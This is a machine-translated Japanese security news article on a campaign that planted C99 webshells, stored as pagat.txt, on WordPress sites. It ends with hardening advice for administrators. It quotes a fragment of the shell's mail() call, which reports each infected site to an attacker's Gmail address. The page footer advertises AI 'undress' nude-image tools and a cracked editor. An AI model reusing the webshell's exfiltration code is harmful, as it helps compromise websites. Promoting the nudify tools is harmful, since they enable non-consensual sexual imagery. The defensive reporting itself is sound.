最近、IBM のマネージド セキュリティ サービス (MSS) チームは、C99 を使用する大量の WordPress を 検出したと警告を発しました。 php webshell. このサイトは新たな攻撃を受けており、WordPress サイト管理者はサイトの脆弱性を適時にスキャンして修復するよう注意を喚起しています。
IBM MSS チームによる悪意のあるイベントの長期的な監視と分析に基づいて、セキュリティ研究者は、過去 2 か月間、C99 Web シェルによって引き起こされたトラフィック異常が存在したことを発見したと報告されています。彼らによると、2 月に監視されたイベントの数は 404 件でしたが、3 月には 588 件に達しました。
悪意のあるファイルが Webshell を通じて Web サーバーにアップロードされる可能性があることがわかっています。またはコマンドをサーバー実装に渡すことができます。 PHP から ASP.NET、JavaScript から Ruby まで、さまざまなプログラミング言語コードで記述でき、攻撃者がサーバーを制御できるようになり、c99 Web シェルは攻撃者によってよく使用されます。
pagat.txt ファイルには注意してください
IBM MSS セキュリティ チームによると、攻撃者はサイト プラグインのセキュリティ脆弱性を利用し、C99 WebShell を通じて感染することがよくあります。調査によると、最初の感染段階では、Web シェル スクリプトがサーバーにアップロードされ、テキスト ファイルとして保存されます。通常、テキスト ファイルの名前は pagat.txt です。 IBM セキュリティ研究者は、このファイル内で難読化された PHP ソース コードも発見しました。関連するコード スニペットは次のとおりです。コードをさらに難読化し、感染動作をさらに複雑にするためです。 clear 攻撃者は上記のテキスト ファイルをサーバーのルート ディレクトリまたはプラグインのディレクトリ フォルダーに配置していないため、検出はさらに困難になります。ほとんどの場合、pagat.txt ファイルは通常、次のパスに保存されます。
このパスに基づいて独自の WordPress サイト サーバーをチェックして、疑わしいファイルが存在するかどうかを確認することもできます。
攻撃手順
“http://www.website-name.com/wp-content/themes/twentythirteen/pagat.txt”
攻撃者は、テキスト コンテンツをサーバーの PHP インタープリタに送信するパスを見つけます。悪意のあるコードが実行された後、簡単に言えば、一般に次の操作が実行されます。
まず、電子メールが攻撃者に送信され、電子メールの内容を通じて現在の感染サイトの具体的な場所が通知されます。この電子メールは Gmail アドレスに送信され、Web サイトのドメイン名と Web シェルの URL が含まれています。
次に、次のように、pagat.txt ファイルに含まれるコードを使用してサイト ディレクトリにフォーム ページを作成します。
mail(“<strong>XXXXX@gmail.com</strong>“, “$body”, “Hasil Bajakan hxxp://$web$inj
最後に、攻撃者はブラウザが新しく作成されたフォーム ファイルにアクセスすると、サーバーにコマンドを渡したり、ファイルをアップロードしたりできます。アクセス ページは次のとおりです。上の図に示すように、Webshell は攻撃を許可します。サーバー上のサーバーにアクセスするには、ターミナル コマンドを実行するか、新しいファイルをサイトにアップロードします。これには、より侵入的な Web シェル、DDoS クライアント、ビットコイン マイナー、またはその他のマルウェアが使用される可能性があります。
IBM MSS チームによると、2016 年 4 月 12 日の時点で、Google 検索エンジンによる簡単なクエリだけで、約 32,000 の WordPress サイトに pagat.txt ファイルが存在することがわかりました。
セキュリティに関する提案
現在の状況に基づいて、サイト管理者は次の操作を実行することをお勧めします。
1.php.ini ファイルを編集します。 Base64デコード機能を無効にします。 php.ini ファイルで、関連する構成ステートメント「disable_functions =」を見つけ、そのステートメントを「disable_functions = eval,base64_decode, gzinflate」に設定します。
2. アップロード フォルダーの名前を変更します。 WordPress では、アップロード プログラムを通じてファイルをアップロード フォルダーに書き込むことができます。ユーザーがデフォルト名を使用したままであれば、攻撃者はアップロードされたファイルの特定のパスを簡単に推測できるため、攻撃者が次の内容を含む PHP ファイルをアップロードするコストが大幅に削減されます。シェル スクリプト;
3. Wordfence WordPress プラグインなどの非常に使いやすいセキュリティ プラグインをインストールします。
4. セキュリティ スキャンを実行します。アップロードされたファイルを完全にスキャンするには、オープンソースのスキャン ツールを使用することをお勧めします。ここでは、スキャン ツール Modsecurity を使用し、AWVS または WordPress セキュリティ スキャナーを通じてサイトをスキャンして、脆弱性を適時に検出し、修復および強化できます。 >5. サイトが感染していることが判明した場合は、サイト上のすべての管理者アカウントのパスワードを速やかに変更し、サイト ユーザーにパスワードを変更するよう通知することをお勧めします。
＊参照元: Softpedia、Securityintelligence、FB 編集者 troy が編集、FreeBuf Hackers and Geeks (FreeBuf.COM) からの転載であることを明記してください
Laravelでフラッシュセッションデータを使用しますMar 12, 2025 pm 05:08 PMLaravelは、直感的なフラッシュメソッドを使用して、一時的なセッションデータの処理を簡素化します。これは、アプリケーション内に簡単なメッセージ、アラート、または通知を表示するのに最適です。 データは、デフォルトで次の要求のためにのみ持続します。 $リクエスト -
PHPのカール：REST APIでPHPカール拡張機能を使用する方法Mar 14, 2025 am 11:42 AMPHPクライアントURL（CURL）拡張機能は、開発者にとって強力なツールであり、リモートサーバーやREST APIとのシームレスな対話を可能にします。尊敬されるマルチプロトコルファイル転送ライブラリであるLibcurlを活用することにより、PHP Curlは効率的なexecuを促進します
PHPロギング：PHPログ分析のベストプラクティスMar 10, 2025 pm 02:32 PMPHPロギングは、Webアプリケーションの監視とデバッグ、および重要なイベント、エラー、ランタイムの動作をキャプチャするために不可欠です。システムのパフォーマンスに関する貴重な洞察を提供し、問題の特定に役立ち、より速いトラブルシューティングをサポートします
Laravelテストでの簡略化されたHTTP応答のモッキングMar 12, 2025 pm 05:09 PMLaravelは簡潔なHTTP応答シミュレーション構文を提供し、HTTP相互作用テストを簡素化します。このアプローチは、テストシミュレーションをより直感的にしながら、コード冗長性を大幅に削減します。 基本的な実装は、さまざまな応答タイプのショートカットを提供します。 Illuminate \ support \ facades \ httpを使用します。 http :: fake（[[ 'google.com' => 'hello world'、 'github.com' => ['foo' => 'bar']、 'forge.laravel.com' =>
Codecanyonで12の最高のPHPチャットスクリプトMar 13, 2025 pm 12:08 PM顧客の最も差し迫った問題にリアルタイムでインスタントソリューションを提供したいですか？ ライブチャットを使用すると、顧客とのリアルタイムな会話を行い、すぐに問題を解決できます。それはあなたがあなたのカスタムにより速いサービスを提供することを可能にします
PHPにおける後期静的結合の概念を説明します。Mar 21, 2025 pm 01:33 PM記事では、PHP 5.3で導入されたPHPの後期静的結合（LSB）について説明し、より柔軟な継承を求める静的メソッドコールのランタイム解像度を可能にします。 LSBの実用的なアプリケーションと潜在的なパフォーマ
フレームワークのカスタマイズ/拡張：カスタム機能を追加する方法。Mar 28, 2025 pm 05:12 PMこの記事では、フレームワークにカスタム機能を追加し、アーキテクチャの理解、拡張ポイントの識別、統合とデバッグのベストプラクティスに焦点を当てています。
ホットAIツール
Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ
AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。
Undress AI Tool
脱衣画像を無料で
Clothoff.io
AI衣類リムーバー
AI Hentai Generator
AIヘンタイを無料で生成します。
人気の記事
ホットツール
メモ帳++7.3.1
使いやすく無料のコードエディター
PhpStorm Mac バージョン
最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール
SublimeText3 Mac版
神レベルのコード編集ソフト（SublimeText3）
EditPlus 中国語クラック版
サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません
mPDF
mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。
ホットトピック
7433
15135952